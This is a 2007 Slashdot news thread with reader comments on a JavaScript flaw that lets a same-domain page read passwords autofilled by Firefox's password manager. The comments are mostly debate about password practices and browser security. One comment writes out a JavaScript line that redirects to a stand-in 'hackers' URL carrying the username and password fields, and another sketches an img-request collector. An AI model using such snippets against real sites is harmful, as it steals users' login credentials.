Holes Remain Open in Firefox Password Manager

Posted by Zonk on Fri Jul 20, 2007 09:13 AM
from the batten-down-the-hatches dept.
juct writes "Although the Mozilla developers have fixed a known hole in the password manager of Firefox & Co, a door remains open for exploitation. According to an article on the heise site, hackers can still use JavaScript to steal passwords from users of the Mozilla, Firefox, and Safari browsers. However, the real problem might not be Firefox' password manager. If users can set up their own pages containing script code on a server, the JavaScript security model breaks. Heise Security demonstrates the possible password theft in a demo. 'From the users' perspective, this means that they should not entrust their passwords to the password manager on web sites that allow other users to create their own pages containing scripts. Otherwise somebody can easily create a page that steals the password as soon as the page is opened ... Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.'"

      It is not about safety of the Firefox. It is about safety of websites that allows users to insert Javascript code to their sites. It's like a bank which would allow anyone to step behind the desk and act as an employee of the bank.

      But they can only "steal" the passwords of that website. They can't steal your all passwords. So just remember to select different passwords for websites that might allow users to insert Javascript code on the site. So it doesn't matter that much if they manage to steal your passwords.

      Or use Noscript as suggested. Or simply don't use such websites, as they clearly don't think much about user's security.

        Which outlines the whole strength of having a password manager. You can have a different password for each website. Without a password manager, it's hard to do this because there are so many sites that require passwords. For my password management, I use passwordsafe [sourceforge.net], because it lets me manage all my passwords, not just ones for websites, and I can put it on a usb memory stick, and carry all my passwords with me.

        This brings up another thought. If the websites in question allow users to post javascript, and there happens to be a login section on that page, then couldn't the user posting the script add an onchange or onkeypress event to the username and password fields to capture the username and password, and then forward the information to their server by creating an img element, and having the username and password passed as GET variables appended to the URL of the img src, which is in fact just a php page that stores the username and password in a database. Seems to me that any site that allows people to post executable javascript is just asking for trouble.

      Yes, 3rd party has keys to our home. It is quite common with the apartment houses where I live. It is however quite unlikely that they would steal from us, as they would be number one suspects. So far I have never been robbed by they key holders, nor have I ever heard of a case that someone else had been.

      Not really. It just makes the password behave more like client sertificates that automatically identify client to the server.

And the potential problem that someone might generate content you want to see and bug it.

      The problem is not that certain domains are "evil". Ok, that problem exists, too, but it's a very different problem. The problem is that it's now possible to put malicious script code into user generated content, and that other content on the same server and domain is what people want to see.

    The thing that scared me away from the password manager in Firefox was a program called System Info for Windows [gtopala.com]. It lists all sorts of things about your computer--click on "Secrets." It searches for passwords in several programs--I have a few passwords saved in FF and the vast majority in Opera. I saw both programs mentioned in its analysis (meaning it searched both FF and Opera for saved passwords). It listed every saved FF password but no Opera passwords.

    It seems to me that if this program can do that, then it can't be hard for a more nefarious program on my computer to do the same.

    Don't tell me that the presence of an in-browser password manager has anything to do with the strength of the password. The only thing stopping people from using simplistic passwords is the quality of the IT department's restrictions. I bet every salesperson in my office would use "gocubsgo" as their password if our IT department didn't demand at least one capital letter and a number. As such, their passwords are now "goCubsgo2007".

    Don't tell me that an in-browser password manager stops people from using the same password everywhere. The average person sees "password" and a single phrase comes to mind. "Oh, my password is '12345'", they say to themselves, and enter that. They don't sit there and think, "Oh, I should keep my bank account password separate from my MySpace password."

    Those two issues aside, people always use password managers of some kind or another. The difference is whether or not they are vulnerable to an attack. I happen to manage my passwords by memorizing them, whereas my father keeps his monitor covered in sticky notes. My password manager is more secure against people sitting at my desk, while his is more secure against old age, and both of them are safe from internet crackers.

    I don't think there's much we can do about increasing people's password security other than increasing awareness and forcing better password standards.

    Sounds like the exploit relies on auto-enter password fields for a domain, and then using javascript to transmit the value of thte password field to the attacker's machine. So, not so much a coding error as a flaw in the thinking that any password field on a site should be auto-filled in. Requiring some action on the part of the user would help with this, but a better solution would be to move to openID [openid.net].

    It's things like this that force me to disable Password Manager altogether. If only one security hole exists in Password Manager, someone would be able to grab passwords to my bank account, credit card, e-mail, and more. It's a lot harder for the hackers to get the passwords when the only place they are stored is in my head.

    With that said, I must admit that I am having more trouble remembering all of my passwords since I acquire more accounts and each account has different password requirements. I wish there would be an official standard for secure passwords so that I could reliably use one password for most of my accounts. Of course, that would also be a security risk because if someone got that password, they would have access to most of my accounts, but that's a separate issue.

    The "right" solution is to have a challenge/response protocol where your secret key is never sent out of your computer at all. The current password situation is a huge mess since you need a different password for every site or risk one compromised trusted site giving away your password to everything. Most users, even when using a password manager, aren't going to have unique passwords for every site, let alone strong ones. It wouldn't surprise me at all if such a protocol already exists in the HTML standard. It certainly should.

    The downsides to this solution? 1) You need to have a browser that supports the protocol (no browsing in telnet). 2) You need to carry around your keys if you want to use them on more than one computer. 3) You need to explain it to users (but hopefully it can be almost transparent). I'm sure there are other problems but the current situation is untenable.

For those sites, I use a dedicated PW Manager that allows me to generate more secure passwords using all available characters including special characters.

    In the rare case that a website does not accept/allow special characters to be used for passwords, I tend to re-evaluate their value to me. I also notify both the webmaster and customer service that they've reduced the value of their business to me by not accepting secure passwords and that I will no longer deal with them except by a cash-n-carry basis. A few of them have responded positively and after some effort have increased their password security by allowing special characters and thus they've gained an increased level of business from me along with the positive word of mouth advertising to my friends and associates.

This means that when you occasionnally want to log from another computer, for some urgent matter, you cannot find what your password was!

    Don't store your passwords in ANY password manager, and especially do not allow Web site to "remember you." Enter your passwords every time you go to a site that needs them.

    This means using passwords you can remember, rather than truly strong random passwords, which is a security problem in itself. But with some initial judicial selection of a manual password generation algorithm, this should be doable for most people. If you have a limited set of passwords you use frequently, especially for low value applications like Web sites, and they are generated by a manual algorithm that produces half decent strength passwords, you don't need a password manager.

    Reserve your high strength passwords for your personal system, make sure they're different from anything you use externally to your system such as Web sites, and put them on an encrypted USB key or encrypted file on your system so they can't be obtained even by a hack.

    I have been using Mozilla browsers as long as they have existed. But I have never been really impressed by their safety, stability or security. At times, they may have been better than IE - but as I never have used IE, that comparison means very little to me. I am not interested in relative safety, stability or security, I want absolutes.

    Let me explain what it is that I want:

    First, usefulness. Given that pages are designed by clueless morons who suck up to each and every feature or plugin that might be available (Java, Javascript, Flash, embedded objects of of all kinds, perhaps even ActiveX?) the browser needs to handle such pages gracefully. However, such plugins, which may sometimes be closed-source blobs, should be treated with utmost suspicion, and only be allowed to run in a jaillike sandbox, with all priviledges revoked, and isolated from all other parts of the executing session.

    Second, stability. On my NetBSD system, I have a setup with mplayer-plugin, java-plugin, and seamonkey, all natively compiled. I admit that by using an obscure OS, my stability issues are partly self-inflicted, but sound defensive programming could avoid some of those problems. Why is it, that a page loading a plugin and crashing, takes down each and every window I have open? Because everything runs without isolation, that's why. If each session ran in its own OS-process, with just a shared display process, this could not happen. But that's not the worst part. Often, I find myself typing lengthy text into a textarea (like just now), and although I have Mozex installed, I still haven't gotten used to it. (There you go.) Although vi may be considered an archaic editor, it does a thing or two right. First, it is far less prone to going belly-up. Second, when it does, I have a fair chance of recovering the text I was typing. Not so with Mozilla. If I am really lucky, the Mozilla process hangs instead of exiting, and then I can use strings on /dev/mem to recover my text. If not, well, then I'm not so lucky. A safe and stable system would ensure that anything related to the configuration of the browser or entered by the user, was flushed to disk ASAP. Recently, I tried to install the NoScript plugin - I was at the same time astonished and infuriated when I got an error message which I can't remember exactly, but said something like "installation failed, this error is very likely to be transient, so please try again". Please - heed the wise words of Yoda: "Do, or do not. There is no try." I found myself with a broken plugin installation, and in order to fix it, I had to do things I'd rather not think about. A safe browser would ensure that it would be possible to undo the partial plugin installation and revert to exactly how things were before, without resorting to editing XML files by hand.

    Third, security. Why is this always an afterthought? I would like to know, record (with timestamp), and archive any exchange of information for later investigation. The only way I would be able to do so would be by making a proxy and go through that always. Why not a function of the browser? I would like to control preemtively each and every IP-address my browser wants to connect to, unless it's on a white-list. Why can't I? The default browser configuration let's me block images from a given server, but why this coarse and arbitrary resolution? Why can't I block URLs by regex? I wan't the ability to restrict beforehand through ACLs, which sites and URLs I like to see. And it goes without saying, that no session should ever be able to send my private data to the server without my approval. I want this enforced, by a provably secure design, using OS security measures to make proper guarantees: the session should run as nobody, chrooted to an empty workdir, and all requests for config and private information should go through a client-server like connection, that should be filtered, logged and audited. And of course anything stored locally should optionally be stored encrypted. Nothing unapproved would ever go on

    So before you jump to that conclusion, have you tested this against other browsers?

    Not being a developer myself,I don't know have an idea about how to fix it, but this seems like an awful sticky technical problem.

    Firefox having a vulnerability in the password manager does not make IE6 and IE7 'more secure' browsers. If it did, then this site (http://www.sans.org/top20/) would not be worth reading....

    IE is not affected because it doesn't automatically enter the info into the forms on load.

    I call bullshit. If the "real problem might not be Firefox password manager", then why IE6 and IE7 password managers are not vulnerable?

    Actually, the IE6 and IE7 password managers will most likely equally vulnerable. If you do a little looking at the code, all they really do is just scoop the login and pass from the input fields. Mozilla fills it in by default if only one login is available. I don't know exactly what IE does in this case, but I'm guessing that even if IE doesn't fill out the password right away, you can still add an extra onSubmit to the form and do your thing.

    From the MSDN website [microsoft.com] I can quote:

    When the AutoComplete feature is set to save passwords, a password is automatically filled in when a known user name is provided, and the password and user name are stored by URL. When changing passwords, the user is prompted to save the new password.

    So as far as I can tell, you just need to enter a username and be on the correct URL. If by URL they mean "exactly the same page" this won't work unless you can trick the browser somehow, but if it is "the same (sub)domain" it will. Since I don't have an IE at my disposal right now, I can't test it, but I suppose it will work when you use onSubmit.

    document.location="http://some.hackers.url/collect .php?user=" + document.form.user.value + "&pass=" + document.form.pass.value;

    Then redirect to the login page hoping that the site doesn't check referrers (most likely they don't), and you're set to go. Sites that allow users to enter HTML and especially javascript are begging for this sort of thing, and there are much worse things you can do once someone gives you free play with javascript anyway (cookies anyone?)

    Just stating the obvious, although now I'm actually curious if this works on IE...

    It's not even really a browser security issue. Okay, I suppose there could be user-interaction requirements so the form-filler doesn't *automatically* autofill on page load, but the real issue is site-owners who ignore the basic principles of site security and password handling, and open their users up to simple exploits.

    The central concept in much of web-client security assumes that a domain is a single entity, and if you trust the domain, you trust the domain entirely. I don't see fault in this assumption-- a line has to be drawn somewhere as to what "one entity" is, and to split it much further would lead to unnecessary hoops and inconveniences. Back in the NetSol-monopoly days before cheap domain names, this point may have been debatable, but at that time there was far less personal information getting passed around by clients, as well.

    Nowadays, anyone who is running a service with open access and open-ended "userpages" should be taking the bare-minimum step of sub-domaining their users' pages, and sub-domaining their own login forms as well. It costs nothing, it's more convenient for users, and it sandboxes everyone from each others' potential hack-attacks. If an exploit that gets around that, then people can talk, as that'd be a legitimate XSS or trojan/spoofing exploit. This stuff, though, is pinning exploits borne of shoddy web-side security onto the client developers.

  • I know it will hurt all the fanboys, but the less secure browsers are: Firefox, Mozilla, Safari.

    Uh, how does the existence of a specific exploit in Firefox make it a less secure browser than IE?

    History disagrees with you.

    If you can provide some hard evidence that IE is more secure than Firefox, we would all be interested in seeing it.

    But we won't be holding our breath, either, for two reasons: one, there is no such evidence; two, you would probably not be capable of providing it even if it existed.

    Did anyone bother to read the details of this vulnerability?

    But this means, that a second, evil page on the same server could steal those saved passwords.


    In this case the server has already been compromised to some degree... and the only password in jeopardy is one to the very server you are connected to....
    That's like saying a local restaurant is not a safe place to use a credit card.... because the staff might see my credit card number or they might be robbed and have my signature slip stolen...

    BTW: Have any IE users actually tested to see that IE doesn't have the same "vulnerability"?

    What does Window Snyder have to say now? How many times have we shown you the exploits (and demonstrated fully) and got shot down for it? Well, now that the real exploits are gaining attention (thanks to some clever tactics), we'll see her reaction later. Her constant smartass remarks, and devs hiding certain bug exploits and fixes from the ones that found them in order to save face is just making Mozilla look worse and worse. When you have to rely on third party software to keep Firefox safe now, well, it's starting to sound more like IE now, huh? Please, lets save Mozilla by ridiculing the people in it causing the problems and not allowing change to happen instead of piling bloat over bloat (It's pretty bad when you have such horrible memory leaks in Firefox now).

    I am not a Microsoft shill, I support fixing Firefox but the masters don't care.

    Fanboy here. You're right. Got that outta the way

    The problem is not really with the firefox password manager, because

    1. Even if you only automatically entered a password with a push mechanism (right-click to fill in password information) then people would still do that on the "bad" scripts. The problem, like most things, is a problem of social hacking. Education is what is needed... maybe make firefox educational as it's logging into various login pages?

    2. Remember the problem boils down to using your fileserver password for your myspace account: that's what this is talking about. It's not like an attacker can read your whole password manager, it can only get the password for a certain site that they have ALREADY compromised (myspace and facebook are sites that are compromised by design). If you use one password for all those inherently insecure sites, and another one for your email, and another one for your banking then this attack, even if successful, will not hurt you as much as you think it would Oh no! Some script kiddy finally managed to get my facebook password! He might upload pictures... and people would think I have a life.

    The security of a browser still ultimately depends on how you use, and if it allows safe use. For instance, Consumer Reports found certain SUVs to be unsafe in standard use. While companies sued CU, the reality is that SUVs, if not used as people expect them to able to be used, are not safe. I see tipped over SUV every month that proves this point.

    The problem with IE, was, for the longest time, that it did not provide standard protections. It always allowed the remote sever to control the users machines, and that control, though useful, lead to malicious use. The main thing that other browsers did, and plugins for IE, was allows user to limit the control that the remote site could exert on the local machine, thus increasing security. The user can now control everything, even the look and feel, which is problem for sites that require control of the user to generate revenue, but good for the user. For most users, the two major thing the user can't control or still need, the flash plugin and java script, are now arguably the major points of attack.

    So what is the security issue in this case. It is that passwords are stored by the browser, inside the sand box, so to speak. This is bad. Passwords should be stored securely at the system level, available for applications to request, and with the user permission supplied. In other words, application password managers have to go.
